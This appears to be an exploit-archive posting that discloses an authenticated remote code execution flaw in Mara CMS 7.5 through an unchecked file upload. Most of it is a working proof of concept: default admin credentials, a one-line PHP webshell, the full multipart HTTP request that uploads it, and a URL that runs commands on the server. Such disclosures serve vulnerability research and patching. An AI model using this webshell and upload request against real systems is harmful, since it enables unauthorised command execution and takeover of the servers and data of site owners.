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Mara CMS 7.5 Remote Code Execution

Mara CMS 7.5 Remote Code Execution
Posted Sep 1, 2020
Authored by Michele Cisternino

Mara CMS version 7.5 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
MD5 | 01153c71819eaa4b8c162c658fe780ab

Mara CMS 7.5 Remote Code Execution

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# Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020-08-31
# Exploit Author: Michele Cisternino (0blio_)
# Vendor Homepage: https://sourceforge.net/projects/maracms/
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
# Version: 7.5
# Tested on: Kali Linux(x64)
# CVE: N/A


# Description


MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.


# PoC


1. Login on MaraCMS. Default credentials are:
Username: admin
Password: changeme


2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.
A request similar to the following will be made:


POST /codebase/handler.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268
Content-Length: 1282
Origin: http://localhost
Connection: close
Referer: http://localhost/codebase/dir.php?type=filenew
Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv
Upgrade-Insecure-Requests: 1


-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="authenticated"


MQ==
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="action"


dXBsb2Fk
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="MAX_FILE_SIZE"


10485760
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="type"


filenew
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="files[]"; filename="webshell.php"
Content-Type: application/x-php


<?php system($_GET["cmd"]); ?>


-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="usr"


YWRtaW4=
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="pwd"


MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="authenticated"


MQ==
-----------------------------1202504167994776142974823268
Content-Disposition: form-data; name="destdir"




-----------------------------1202504167994776142974823268--


3. Execute remote commands by navigating:

http://target/webshell.php?cmd=whoami
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